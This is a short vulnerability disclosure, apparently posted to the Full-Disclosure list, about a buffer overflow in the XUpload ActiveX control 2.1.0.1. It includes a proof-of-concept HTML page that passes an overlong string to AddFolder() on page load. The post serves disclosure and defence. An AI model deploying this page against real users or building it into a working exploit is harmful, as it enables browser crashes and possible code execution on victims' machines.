There is a buffer overflow in the AddFolder() method of the Persists Software
XUpload control, version 2.1.0.1. This object is marked safe for scripting.
Version 3.0(latest) is not vulnerable(throws an error if the parameter is more
than 256 characters), I have not tested any other versions. A quick Google
search for "xupload.ocx" shows that this control is widely deployed. PoC as
follows:
------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';
while (s.length <= 1380) s = s + 'A';
obj.AddFolder(s);
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E87F6C8E-16C0-11D3-BEF7-009027438003" />
</object>
</body>
</html>
------------------
Elazar
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
